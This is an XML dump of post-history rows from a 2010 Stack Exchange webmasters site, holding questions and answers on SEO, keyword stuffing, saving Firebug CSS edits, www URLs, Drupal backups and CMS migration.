  <row Id="7708" PostHistoryTypeId="2" PostId="3922" RevisionGUID="97e9253e-2734-43f1-95ba-9d2ba9211eee" CreationDate="2010-10-16T16:12:45.280" UserId="2279" Text="In short, **yes**! Ignore SEO at your peril, especially if you are creating new websites with little or no domain history. My advice is get the basics down first then worry about all the more trivial aspects at a later stage. I recently read this article on [Minimum Viable SEO][1] which is sensible advice.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you want more in depth reading and want to keep up with the changes you might want to check out this&#xD;&#xA;[blog][2]. It is the blog of Matt Cutts, a Google employee and head of the Webspam team. Reading through many of his posts will help you keep in line with the recommended practices to stay on the good side of Google. There is no &quot;must read&quot; book because the algorithm of search is organically changing, sometimes on a monthly basis (May Day, Google Caffeine etc).&#xD;&#xA;&#xD;&#xA;Might I also recommend [http://www.seo-theory.com/][3] as a great source of material and articles (I have no affiliation with this website, by the way).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://contentini.com/minimum-viable-seo-content-strategy-tip/&#xD;&#xA;  [2]: http://www.mattcutts.com/blog/type/googleseo/&#xD;&#xA;  [3]: http://www.seo-theory.com/" />
  <row Id="7709" PostHistoryTypeId="5" PostId="3909" RevisionGUID="a8a558d5-d6e8-42fc-a90c-b17ba5fc3d40" CreationDate="2010-10-16T16:17:14.637" UserId="2288" Comment="added 393 characters in body" Text="Have some ideas, but for now I'm going to leave it description as the question.&#xD;&#xA;&#xD;&#xA;If you have any questions, just ask -- thanks!!&#xD;&#xA;&#xD;&#xA;**UPDATES:** &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Guidelines:**&#xD;&#xA;&#xD;&#xA; 1. Workflow makes the most frequent tasks easy, and less frequent tasks achievable.&#xD;&#xA; 2. Workflow covers 80% of the tasks.&#xD;&#xA; 3. Solutions use smart default settings.&#xD;&#xA;&#xD;&#xA;**Focus of the Question:** The focus is the production of front interfaces; HTML, CSS, JS, generic content/graphic source, etc. Also, I figure that if the workflow required a CMS that the template would be based on existing one implementable on a given system. &#xD;&#xA;&#xD;&#xA;Again, thanks for any and all post!! -- **Any real answers will get an up vote by me, and I will select an answer.** Cheers!" />
  <row Id="7710" PostHistoryTypeId="2" PostId="3924" RevisionGUID="29737ec9-8938-4494-bdca-816a23bf7bdd" CreationDate="2010-10-16T16:14:09.893" UserDisplayName="Hogan" Text="Seems to be a bug with handling flash.  Non-flash would solve your problem.  (Everything there could be done with jQuery easy enough.)" />
  <row Id="7711" PostHistoryTypeId="2" PostId="3925" RevisionGUID="149a9b69-a8cc-4d38-990d-99300f0ba9d9" CreationDate="2010-10-16T16:15:47.300" UserDisplayName="Victor Z." Text="Your contact form is at the beginning of your page.&#xD;&#xA;&#xD;&#xA;Try putting some optimized text before your contact form and you are done.&#xD;&#xA;&#xD;&#xA;The &quot;description&quot; meta tag isn't always what google will put in the search result's description." />
  <row Id="7712" PostHistoryTypeId="2" PostId="3923" RevisionGUID="d74ef83e-51c4-41b3-addb-9747fa8b7897" CreationDate="2010-10-16T16:09:40.713" UserId="2213" Text="My HTML page :&#xD;&#xA;[http://www.faressoft.com][1]&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;description&quot; content=&quot;فارس سوفت الاسم الرائد في عالم البرمجيات العربية&quot; /&gt;&#xD;&#xA;&#xD;&#xA;When I search for my site name &quot;فارس سوفت&quot; using google, the description contains my description and the error message of my contact form.&#xD;&#xA;&#xD;&#xA;why ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.faressoft.com" />
  <row Id="7713" PostHistoryTypeId="1" PostId="3923" RevisionGUID="d74ef83e-51c4-41b3-addb-9747fa8b7897" CreationDate="2010-10-16T16:09:40.713" UserId="2213" Text="Problem with description of my site and google search" />
  <row Id="7714" PostHistoryTypeId="3" PostId="3923" RevisionGUID="d74ef83e-51c4-41b3-addb-9747fa8b7897" CreationDate="2010-10-16T16:09:40.713" UserId="2213" Text="&lt;html&gt;&lt;search&gt;&lt;google&gt;&lt;search-engines&gt;" />
  <row Id="7715" PostHistoryTypeId="17" PostId="3923" RevisionGUID="ade60338-894f-4177-88e0-8fafe2837d9f" CreationDate="2010-10-16T16:19:23.633" UserId="-1" Comment="from http://stackoverflow.com/questions/3949647/problem-with-description-of-my-site-and-google-search" Text="" />
  <row Id="7720" PostHistoryTypeId="4" PostId="3898" RevisionGUID="e75f9b25-5f6f-4ea6-8796-d44e322373a0" CreationDate="2010-10-16T17:15:52.797" UserId="2288" Comment="edited title; deleted 63 characters in body" Text="How do you save/export changes made in Firebug?" />
  <row Id="7721" PostHistoryTypeId="5" PostId="3898" RevisionGUID="e75f9b25-5f6f-4ea6-8796-d44e322373a0" CreationDate="2010-10-16T17:15:52.797" UserId="2288" Comment="edited title; deleted 63 characters in body" Text="Using Firebug to edit CSS, how do I save/export changes made to the CSS?&#xD;&#xA;&#xD;&#xA;**TOOLS:** [Firefox][1], [Firebug][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mozilla.com&#xD;&#xA;  [2]: http://getfirebug.com/&#xD;&#xA;&#xD;&#xA;------------&#xD;&#xA;&#xD;&#xA;**UPDATES:** " />
  <row Id="7722" PostHistoryTypeId="5" PostId="3898" RevisionGUID="2fc96a32-011c-4d50-9702-f25b1cdd957d" CreationDate="2010-10-16T17:21:36.237" UserId="2288" Comment="added 492 characters in body" Text="Using Firebug to edit CSS, how do I save/export changes made to the CSS?&#xD;&#xA;&#xD;&#xA;**TOOLS:** [Firefox][1], [Firebug][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;------------&#xD;&#xA;&#xD;&#xA;**UPDATES:** &#xD;&#xA;&#xD;&#xA;**@Lèse majesté:** Just as an update, &quot;[Web Developer add-on][3]&quot; does let you edit CSS, but it does not let you edit/save CSS changes made. Meaning you use Firebug to ID and maybe test changes, but it does not let you save the changes from Firebug. Here's a &quot;how to&quot; covering how to use them together: [FF + FB + WD][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mozilla.com&#xD;&#xA;  [2]: http://getfirebug.com/&#xD;&#xA;  [3]: https://addons.mozilla.org/firefox/addon/60&#xD;&#xA;  [4]: http://www.lemonlimedesigns.ca/blog/firefox-firebug-web-developer-add-easily-edit-and-save-css-live-sites" />
  <row Id="7723" PostHistoryTypeId="5" PostId="3898" RevisionGUID="aaf77b81-25ce-4cd9-b310-234fc6da2539" CreationDate="2010-10-16T17:29:52.173" UserId="2288" Comment="added 11 characters in body" Text="Using Firebug to edit CSS, how do I save/export changes made to the CSS?&#xD;&#xA;&#xD;&#xA;**TOOLS:** [Firefox][1], [Firebug][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;------------&#xD;&#xA;&#xD;&#xA;**UPDATES:** &#xD;&#xA;&#xD;&#xA;**@Lèse majesté:** Just as an update, &quot;[Web Developer add-on][3]&quot; does let you edit CSS, but it does not let you edit/save CSS changes made by Firebug. Meaning you use Firebug to ID and maybe test changes, but it does not let you save the changes from Firebug. Here's a &quot;how to&quot; covering how to use them together: [FF + FB + WD][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mozilla.com&#xD;&#xA;  [2]: http://getfirebug.com/&#xD;&#xA;  [3]: https://addons.mozilla.org/firefox/addon/60&#xD;&#xA;  [4]: http://www.lemonlimedesigns.ca/blog/firefox-firebug-web-developer-add-easily-edit-and-save-css-live-sites" />
  <row Id="7724" PostHistoryTypeId="2" PostId="3927" RevisionGUID="ef2f0601-faf8-4e4d-90ef-2678a929e09f" CreationDate="2010-10-16T17:36:50.963" UserId="2279" Text="As a rule of thumb I always supply as much data as possible into all the fields available. Note: I don't mean keyword cram, I mean just supply as much detail as you can about the product. This has served me well to date.&#xD;&#xA;&#xD;&#xA;Read the official [Google Guidelines][1] for more.&#xD;&#xA;&#xD;&#xA;I once read an (unverified) article stating that Google shopping does not take the target page into consideration and only the supplied feed. I'm not sure this is true, but even if it were you would still want a well build website with proper titles and content to compete in the standard web search regardless which does mitigate this point.&#xD;&#xA;&#xD;&#xA;One thing that is apparent when I search for items using Google Shopping is that the items near the top always have lots of user ratings. I don't think it is a coincidence. It is hard to &#xD;&#xA;prove this as in the world of Google nothing is ever confirmed or denied.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://base.google.com/support/bin/answer.py?hl=en&amp;answer=59466" />
  <row Id="7725" PostHistoryTypeId="5" PostId="3898" RevisionGUID="290c0a98-46a6-4bca-bad0-6ff55eee60c8" CreationDate="2010-10-16T18:21:36.260" UserId="2288" Comment="added 475 characters in body; added 22 characters in body" Text="Using Firebug to edit CSS, how do I save/export changes made to the CSS?&#xD;&#xA;&#xD;&#xA;**TOOLS:** [Firefox][1], [Firebug][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;------------&#xD;&#xA;&#xD;&#xA;**UPDATES:** &#xD;&#xA;&#xD;&#xA;**@Lèse majesté:** Just as an update, &quot;[Web Developer add-on][3]&quot; does let you edit CSS, but it does not let you edit/save CSS changes made by Firebug. Meaning you use Firebug to ID and maybe test changes, but it does not let you save the changes from Firebug. Here's a &quot;how to&quot; covering how to use them together: [FF + FB + WD][4]&#xD;&#xA;&#xD;&#xA;**@Lèse majesté:** Still playing around with [FireDiff][5]. It works okay, found one bug already (although I'm just working around it), and there's no &quot;how to&quot; I've been able to find, so I'm just trying every feature and clicking around... (for example, to export a diff you must be over the last item in the list, right click, and select as &quot;Save Diff&quot;. The &quot;.diff&quot; is just a text file, no idea why at this point the ext is .diff.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mozilla.com&#xD;&#xA;  [2]: http://getfirebug.com/&#xD;&#xA;  [3]: https://addons.mozilla.org/firefox/addon/60&#xD;&#xA;  [4]: http://www.lemonlimedesigns.ca/blog/firefox-firebug-web-developer-add-easily-edit-and-save-css-live-sites&#xD;&#xA;  [5]: https://addons.mozilla.org/en-US/firefox/addon/13179/" />
  <row Id="7726" PostHistoryTypeId="5" PostId="3898" RevisionGUID="e44ca5b9-474f-46ee-abf3-f76a2a92857f" CreationDate="2010-10-16T18:52:27.133" UserId="2288" Comment="added 540 characters in body" Text="Using Firebug to edit CSS, how do I save/export changes made to the CSS?&#xD;&#xA;&#xD;&#xA;**TOOLS:** [Firefox][1], [Firebug][2]&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**MAJOR UPDATE:** If you know of a way to lock the forward/back/refresh on a FireFox tab, please let me know. Otherwise, I've given up on using FireBug/FireDiff as an IDE for CSS, it's nice, but lol... press backspace at the wrong time and ALL your work is gone... funny. So, really like the browser highlighting to CSS/HTML in Firebug. Know any good CSS editors that do this? Really had hope FireBug would work, but for now only see it as being good for ad-hoc inspection and test; meaning using it for what it's made for. &#xD;&#xA;&#xD;&#xA;------------&#xD;&#xA;&#xD;&#xA;**UPDATES:** &#xD;&#xA;&#xD;&#xA;**@Lèse majesté:** Just as an update, &quot;[Web Developer add-on][3]&quot; does let you edit CSS, but it does not let you edit/save CSS changes made by Firebug. Meaning you use Firebug to ID and maybe test changes, but it does not let you save the changes from Firebug. Here's a &quot;how to&quot; covering how to use them together: [FF + FB + WD][4]&#xD;&#xA;&#xD;&#xA;**@Lèse majesté:** Still playing around with [FireDiff][5]. It works okay, found one bug already (although I'm just working around it), and there's no &quot;how to&quot; I've been able to find, so I'm just trying every feature and clicking around... (for example, to export a diff you must be over the last item in the list, right click, and select as &quot;Save Diff&quot;. The &quot;.diff&quot; is just a text file, no idea why at this point the ext is .diff.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mozilla.com&#xD;&#xA;  [2]: http://getfirebug.com/&#xD;&#xA;  [3]: https://addons.mozilla.org/firefox/addon/60&#xD;&#xA;  [4]: http://www.lemonlimedesigns.ca/blog/firefox-firebug-web-developer-add-easily-edit-and-save-css-live-sites&#xD;&#xA;  [5]: https://addons.mozilla.org/en-US/firefox/addon/13179/" />
  <row Id="7732" PostHistoryTypeId="2" PostId="3930" RevisionGUID="bd51c7d6-d9c1-404b-8fa5-81f2455935f0" CreationDate="2010-10-16T19:39:36.407" UserId="9301" Text="Registering with Google Locale seems to give a free good quality link for a website for a local business. Are their similar other other free local listings for which every local business should be listed?" />
  <row Id="7733" PostHistoryTypeId="1" PostId="3930" RevisionGUID="bd51c7d6-d9c1-404b-8fa5-81f2455935f0" CreationDate="2010-10-16T19:39:36.407" UserId="9301" Text="Google Locale like services" />
  <row Id="7734" PostHistoryTypeId="3" PostId="3930" RevisionGUID="bd51c7d6-d9c1-404b-8fa5-81f2455935f0" CreationDate="2010-10-16T19:39:36.407" UserId="9301" Text="&lt;seo&gt;" />
  <row Id="7739" PostHistoryTypeId="2" PostId="3932" RevisionGUID="d08760be-43d0-4827-a66c-78ffca4f85f2" CreationDate="2010-10-16T20:33:53.733" UserId="2276" Text="i have a web shop, and on some of the pages some keyword in used a bit more then on the others..&#xD;&#xA;for eg. &quot;hp toner&quot; is used preety much in the discription of the product, in the alt tag, in the brand, and so on, an if i have let's say 100 of these products on the &quot;HP PAGE&quot;, that means that &quot;hp toner&quot; is gonna show up at least 200 times more than some other rendom word...&#xD;&#xA;but the keyword stuffing is not intentional here.. it's just that, the quantity of the product is bigger, and so is that word that describes it..&#xD;&#xA;is that considered keyword stuffing in SEO terms?&#xD;&#xA;&#xD;&#xA;thanks for the anwser!" />
  <row Id="7740" PostHistoryTypeId="1" PostId="3932" RevisionGUID="d08760be-43d0-4827-a66c-78ffca4f85f2" CreationDate="2010-10-16T20:33:53.733" UserId="2276" Text="keyword stuffing in SEO" />
  <row Id="7741" PostHistoryTypeId="3" PostId="3932" RevisionGUID="d08760be-43d0-4827-a66c-78ffca4f85f2" CreationDate="2010-10-16T20:33:53.733" UserId="2276" Text="&lt;seo&gt;" />
  <row Id="7744" PostHistoryTypeId="2" PostId="3933" RevisionGUID="6fa31525-3760-475d-93b9-16539b85b2c2" CreationDate="2010-10-16T21:05:35.653" UserId="2480" Text="... in short:&#xD;&#xA;&#xD;&#xA; - [washingtonpost.com][1], PR8, Alexa 338&#xD;&#xA; - [theonion.com][2], PR8, Alexa 1,889&#xD;&#xA;&#xD;&#xA;Google uses Python virtually everywhere  and Django in Appengine.&#xD;&#xA;&#xD;&#xA;Visit [djangosites.org][3] for mode ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.washingtonpost.com/&#xD;&#xA;  [2]: http://www.theonion.com/&#xD;&#xA;  [3]: http://www.djangosites.org/" />
  <row Id="7745" PostHistoryTypeId="2" PostId="3934" RevisionGUID="0e8956d7-a950-4165-a947-ba23628861d1" CreationDate="2010-10-16T21:07:42.987" UserId="2011" Text="&quot;The best way&quot; is always hard to define. I think you have to make a difference between backing up code and backing up the database.&#xD;&#xA;&#xD;&#xA;To backup the database, you can use the [Backup and Migrate][1] module.&#xD;&#xA;&#xD;&#xA;To keep track of your code, there are many strategies. The simplest way (apart from doing nothing) is take all of your site's code and store it in a version control system (VCS) like SVN, GIT, etc. Myself, I'm considering to start using Drush Make for this. [Drush Make][2] is an extension for [Drush][3], a command line shell and scripting interface for Drupal. It allows you to define your site in a .make file, describing the combination of Drupal core, contributed modules and custom code. Drush Make will then grab the code (from drupal.org, your SVN repo, or where ever it's at) and roll out the site. If you keep your .make file under version control, you can easily take last month's version and rebuild the code as it was then. Have a look at the slideshow [For every site a make file][4] to learn more about this approach.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/project/backup_migrate&#xD;&#xA;  [2]: http://drupal.org/project/drush_make&#xD;&#xA;  [3]: http://drupal.org/project/drush&#xD;&#xA;  [4]: http://www.slideshare.net/devseed/for-every-site-a-make-file" />
  <row Id="7746" PostHistoryTypeId="2" PostId="3935" RevisionGUID="5dce5873-c527-4dc7-9a2e-42043ce01e9a" CreationDate="2010-10-16T21:20:04.947" UserId="2480" Text="PayPal works only with 'good' countries. exUSSR countries Arabic and African countries can just pay. PayPal is KKK. https://www.paypal.com/worldwide/&#xD;&#xA;" />
  <row Id="7753" PostHistoryTypeId="6" PostId="2829" RevisionGUID="cf91186d-b866-4370-9e17-02a9f13c3ed3" CreationDate="2010-10-16T21:36:11.967" UserId="2011" Comment="edited tags" Text="&lt;web-hosting&gt;&lt;drupal&gt;" />
  <row Id="7754" PostHistoryTypeId="2" PostId="3936" RevisionGUID="f00e6176-c04b-4fd6-ae8c-506c298d86ef" CreationDate="2010-10-16T21:59:17.973" UserId="2011" Text="Have a look at the [Translation Access][1] module. I never used it myself, but it seems to be exactly what you need.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/project/i18n_access" />
  <row Id="7755" PostHistoryTypeId="2" PostId="3937" RevisionGUID="b3b482ce-8cc7-4cf2-9c0d-9427817b33ce" CreationDate="2010-10-16T22:15:34.580" UserId="1253" Text="Keyword stuffing is when you *intentionally*, and *unnaturally*, placing keywords in your content for the *purpose of manipulating the search engine rankings*. If &quot;hp toner&quot; naturally appears often on your pages then that's fine. If you're cramming it in everywhere you can, including places where it obviously doesn't belong, then that's keyword stuffing. &#xD;&#xA;&#xD;&#xA;As an aside, keyword stuffing is a waste of time nowadays because the search engines have both gotten good at detecting it and have devalued keyword density the point where it just doesn't make a significant difference anymore. " />
  <row Id="7757" PostHistoryTypeId="2" PostId="3939" RevisionGUID="bed4da88-fd42-46a7-ba0d-6499867b1258" CreationDate="2010-10-16T23:47:14.667" UserId="2279" Text="There are some statements attached to this question that claim &quot;search engines can crawl virtually any URL regardless of the structure of that URL&quot;.&#xD;&#xA;&#xD;&#xA;Taken from the Google guidelines:&#xD;&#xA;&#xD;&#xA;_If you decide to use dynamic pages (i.e., the URL contains a &quot;?&quot; character), be aware that not every search engine spider crawls dynamic pages as well as static pages. It helps to keep the parameters short and the number of them few._&#xD;&#xA;&#xD;&#xA;Here is the official link for further review:&#xD;&#xA;[Google Web Master Guidelines][1]&#xD;&#xA;&#xD;&#xA;I strongly suggest you take this advice into consideration.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=35769" />
  <row Id="7758" PostHistoryTypeId="2" PostId="3940" RevisionGUID="e1b70a1a-2a13-43c1-8a6c-13d2019c6088" CreationDate="2010-10-17T00:14:24.557" UserId="2279" Text="Have you tried [SEM Rush][1]? I use this professionally and it's great. You need to pay for the full service but there is also a free service that is limited to _n_ searches per day.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.semrush.com" />
  <row Id="7759" PostHistoryTypeId="2" PostId="3941" RevisionGUID="624b8c9f-6b85-46bd-bd0b-2e8eba9da633" CreationDate="2010-10-17T00:26:12.577" UserId="2279" Text="Are you listed with [DMOZ][1]? This is the industry standard directory so I suggest to give it a try. It takes while to get listed and you need to be approved to be listed. With other privately owned directories (free or subscription based) it depends on where you are based, how good their setup is and I guess how high their page rank is. I know that isn't helpful but a good directory today could become a bad one tomorrow.&#xD;&#xA;&#xD;&#xA;Based on my experiences, if you get a good listing with Google Local Business/Places then it will be hard to find a better one. If you are hooked up properly with Google Places you even get pointed out on a Google Map for local searches. Can you beat that?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dmoz.org/" />
  <row Id="7760" PostHistoryTypeId="5" PostId="3941" RevisionGUID="8768f3e7-b1f0-4194-aa14-24cbdbbd2b32" CreationDate="2010-10-17T00:33:44.217" UserId="2279" Comment="spelling" Text="Are you listed with [DMOZ][1]? This is the industry standard directory so I suggest to give it a try. It takes a while to get listed and you need to be approved to be listed. With other privately owned directories (free or subscription based) it depends on where you are based, how good their setup is and I guess how high their page rank is. I know that isn't helpful but a good directory today could become a bad one tomorrow.&#xD;&#xA;&#xD;&#xA;Based on my experiences, if you get a good listing with Google Local Business/Places then it will be hard to find a better one. If you are hooked up properly with Google Places you even get pointed out on a Google Map for local searches. Can you beat that?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dmoz.org/" />
  <row Id="7761" PostHistoryTypeId="5" PostId="3927" RevisionGUID="d30cae2e-584c-40c9-82a3-1784378245e0" CreationDate="2010-10-17T00:49:11.273" UserId="2279" Comment="spelling" Text="As a rule of thumb I always supply as much data as possible into all the fields available. Note: I don't mean keyword cram, I mean just supply as much detail as you can about the product. This has served me well to date.&#xD;&#xA;&#xD;&#xA;Read the official [Google Guidelines][1] for more.&#xD;&#xA;&#xD;&#xA;I once read an (unverified) article stating that Google shopping does not take the target page into consideration and only the supplied feed. I'm not sure this is true, but even if it were you would still want a well built website with proper titles and content to compete in the standard web search regardless which does mitigate this point.&#xD;&#xA;&#xD;&#xA;One thing that is apparent when I search for items using Google Shopping is that the items near the top always have lots of user ratings. I don't think it is a coincidence. It is hard to &#xD;&#xA;prove this as in the world of Google nothing is ever confirmed or denied.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://base.google.com/support/bin/answer.py?hl=en&amp;answer=59466" />
  <row Id="7762" PostHistoryTypeId="2" PostId="3942" RevisionGUID="797b17b4-be39-44db-9243-9ff66b53daa0" CreationDate="2010-10-17T01:21:11.840" UserId="2279" Text="A point nobody has yet mentioned is that invalid HTML can cause slower rendering times whilst the browser is trying to make sense of the non standard HTML when displaying." />
  <row Id="7763" PostHistoryTypeId="2" PostId="3944" RevisionGUID="69577c35-662e-48d1-b9ef-dd0b8390fcb9" CreationDate="2010-10-17T01:04:16.857" UserId="1396" Text="Using `www` or not is debatable for aesthetic reasons - however cookies and other same domain policy stuff attached to a example.com will affect something.example.com, however www.example.com will affect itself only.&#xD;&#xA;&#xD;&#xA;There could also be stuff like server side code that assumes the presence of www in the URL.&#xD;&#xA;&#xD;&#xA;There could also be rules for a server such as Apache that handles things differently." />
  <row Id="7764" PostHistoryTypeId="2" PostId="3943" RevisionGUID="b06cecd7-bf7c-4b28-a5e6-5d7ff0162006" CreationDate="2010-10-17T01:00:42.653" UserDisplayName="user475160" Text="I am cleaning markup on a website for my first customer. I did not build the site; I want to remove the table-based design and replace it with proper CSS, before I add a shopping cart to the site.&#xD;&#xA;http://www.theresheglowsdayspa.com&#xD;&#xA;&#xD;&#xA;I noticed by accident that the appearance will change if 'www' is removed from the URL. &#xD;&#xA;&#xD;&#xA;Can someone explain what's going on here? Also, is there a best practice with 'www' or no 'www' in the URL?" />
  <row Id="7765" PostHistoryTypeId="1" PostId="3943" RevisionGUID="b06cecd7-bf7c-4b28-a5e6-5d7ff0162006" CreationDate="2010-10-17T01:00:42.653" UserDisplayName="user475160" Text="why is having (or excluding) 'www' in the URL affecting how my site displays to users?" />
  <row Id="7766" PostHistoryTypeId="3" PostId="3943" RevisionGUID="b06cecd7-bf7c-4b28-a5e6-5d7ff0162006" CreationDate="2010-10-17T01:00:42.653" UserDisplayName="user475160" Text="&lt;html&gt;&lt;http&gt;" />
  <row Id="7767" PostHistoryTypeId="17" PostId="3943" RevisionGUID="4351950f-6069-463c-a882-14c7600dc11a" CreationDate="2010-10-17T01:21:43.197" UserId="-1" Comment="from http://stackoverflow.com/questions/3951516/why-is-having-or-excluding-www-in-the-url-affecting-how-my-site-displays-to-u" Text="" />
  <row Id="7768" PostHistoryTypeId="2" PostId="3945" RevisionGUID="052aa5f2-7ef8-4566-9b1d-6a2360c3cf8b" CreationDate="2010-10-17T02:03:56.570" UserId="1294" Text="There has been a recent discussion on the [AskUbuntu](http://askubuntu.com/) StackExchange site about including the word &quot;Ubuntu&quot; in questions to provide better &quot;[googleablility](http://meta.askubuntu.com/questions/524/title-editing-for-googleability)&quot;. While I assume this is wrong, I don't know enough about Search Crawlers and the StackExchange platform to confirm this." />
  <row Id="7769" PostHistoryTypeId="1" PostId="3945" RevisionGUID="052aa5f2-7ef8-4566-9b1d-6a2360c3cf8b" CreationDate="2010-10-17T02:03:56.570" UserId="1294" Text="Googleability on StackExchange questions?" />
  <row Id="7770" PostHistoryTypeId="3" PostId="3945" RevisionGUID="052aa5f2-7ef8-4566-9b1d-6a2360c3cf8b" CreationDate="2010-10-17T02:03:56.570" UserId="1294" Text="&lt;seo&gt;&lt;search-engines&gt;" />
  <row Id="7771" PostHistoryTypeId="2" PostId="3946" RevisionGUID="fa9dd687-3129-4a78-a769-5e782afe8942" CreationDate="2010-10-17T02:49:47.413" UserId="1253" Text="Having keywords on your question, which is used in the page title, is very good for SEO and for your users (which is no coincidence). The title of the page tells whomever is viewing it what the page is about. That includes the search engines. Since the title of the page is essentially a very short description of what the page is about it makes sense that having keywords in it would weigh heavily in determining a page's relevance for a search query. It's also good for users when they bookmark a page as the title is the default label the bookmark is given. When they go back to the bookmark having keywords like &quot;Ubuntu&quot; help them recognize what that bookmark's contents is. You can't assume they remember it is specifically for Ubuntu weeks, months, or years later." />
  <row Id="7772" PostHistoryTypeId="2" PostId="3947" RevisionGUID="db604f5f-2e32-4755-95fa-1d774a065b62" CreationDate="2010-10-17T03:07:03.540" UserId="2294" Text="If I get the web-design done by someone else, how can I make sure he is not simply passing me some recycled work or blatantly copying/pasting somebody's (or his own) work? &#xD;&#xA;&#xD;&#xA;There really is no way to make sure, right? &#xD;&#xA;&#xD;&#xA;so how can I ask a web-designer from one of those freelancing websites to get the work done? &#xD;&#xA;&#xD;&#xA;How does this entire process work? " />
  <row Id="7773" PostHistoryTypeId="1" PostId="3947" RevisionGUID="db604f5f-2e32-4755-95fa-1d774a065b62" CreationDate="2010-10-17T03:07:03.540" UserId="2294" Text="web-site design" />
  <row Id="7774" PostHistoryTypeId="3" PostId="3947" RevisionGUID="db604f5f-2e32-4755-95fa-1d774a065b62" CreationDate="2010-10-17T03:07:03.540" UserId="2294" Text="&lt;website-design&gt;" />
  <row Id="7775" PostHistoryTypeId="2" PostId="3948" RevisionGUID="2b314bc3-bc7f-4230-a60c-af03719ff614" CreationDate="2010-10-17T03:12:30.597" UserId="2484" Text="Well, the easiest way would be to stipulate in your contract with them that they must use original work, that you will verify (don't tell them how), and that they will not be paid if their work is not original.&#xD;&#xA;&#xD;&#xA;Just having the fear of not getting paid should be enough to make sure they create original work.&#xD;&#xA;&#xD;&#xA;However, does it really matter if they re-use their gif spacer images?  Or their background gradient images?  All you have to worry about is the design and major imagery." />
  <row Id="7776" PostHistoryTypeId="5" PostId="3948" RevisionGUID="b52b1797-6cf0-4c68-9380-9313bcd5369f" CreationDate="2010-10-17T03:35:02.083" UserId="2484" Comment="added 181 characters in body" Text="Well, the easiest way would be to stipulate in your contract with them that they must use original work, that you will verify (don't tell them how), and that they will not be paid if their work is not original.&#xD;&#xA;&#xD;&#xA;Just having the fear of not getting paid should be enough to make sure they create original work.&#xD;&#xA;&#xD;&#xA;However, does it really matter if they re-use their gif spacer images?  Or their background gradient images?  All you have to worry about is the design and major imagery.&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;You can use something like [TinEye][1] to check to make sure the images are not reused.  It's not 100% perfect, but it's pretty good.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tineye.com/" />
  <row Id="7777" PostHistoryTypeId="2" PostId="3949" RevisionGUID="bf45ba4b-aff4-44f8-83be-197fafaad11f" CreationDate="2010-10-17T03:36:16.317" UserId="1757" Text="If you hire a real web designer rather than crowdsourcing it, then you should be able to see the design process and be involved in it.&#xD;&#xA;&#xD;&#xA;Usually, the designer will send you some mockups and update you with their progress (or you can ask for updates) and ask for feedback on the current design.&#xD;&#xA;&#xD;&#xA;There's no guarantee that the designer isn't stealing from the work of other designers (though few designs are truly unique or entirely original), but if you're having a custom-tailored website designed, then there shouldn't be much risk of this.&#xD;&#xA;&#xD;&#xA;A good designer will not go out of the way to steal a template just so they can modify it beyond recognition. It would be easier to just use the existing designs or templates as creative inspiration and build an original design from the ground up to the client's needs. It's just not fun to rehash other people's work.&#xD;&#xA;&#xD;&#xA;A poor designer, on the other hand, won't be able to emulate the style or design quality of the original designer of a template they're passing off on their own. So the second you ask them to make major changes to the design, they'll give themselves away. A poor designer will make a good design look worse and worse the more they make changes to it." />
  <row Id="7778" PostHistoryTypeId="2" PostId="3950" RevisionGUID="b3322e69-7a1e-49bd-b4c7-e56776bedf9f" CreationDate="2010-10-17T04:32:13.943" UserId="2487" Text="I am asked to migrate an existing website to a CMS (Joomla / Drupal). The current website is on a shared hosting and there are already lots of files inside the public_html folder.&#xD;&#xA;&#xD;&#xA;I am thinking of doing the migration in the following way.&#xD;&#xA;&#xD;&#xA;1) Install the CMS on my machine.&#xD;&#xA;&#xD;&#xA;2) Create a CMS theme from the old website.&#xD;&#xA;&#xD;&#xA;3) Copy all contents from the old website to the CMS.&#xD;&#xA;&#xD;&#xA;4) Backup everything in the old website.&#xD;&#xA;&#xD;&#xA;5) Remove the old website by cleaning up everything in the hosting account, which includes the files inside the public_html folder and the all tables in the mysql database.&#xD;&#xA;&#xD;&#xA;6) Transfer all files in the public_html folder on my machine to the public_html folder in the shared hosting by FTP.&#xD;&#xA;&#xD;&#xA;7) Backup the mysql database (the CMS must have created lots of tables and data rows) on my machine.&#xD;&#xA;&#xD;&#xA;8) Restore the database in the shared hosting using PHPMyAdmin.&#xD;&#xA;&#xD;&#xA;9) Test if everything still works after the migration.&#xD;&#xA;&#xD;&#xA;I think there are just too many steps.&#xD;&#xA;&#xD;&#xA;Is this the way you would handle a website migration to a CMS?&#xD;&#xA;&#xD;&#xA;Many thanks to you all." />
  <row Id="7779" PostHistoryTypeId="1" PostId="3950" RevisionGUID="b3322e69-7a1e-49bd-b4c7-e56776bedf9f" CreationDate="2010-10-17T04:32:13.943" UserId="2487" Text="How should we handle a website migration to a CMS?" />
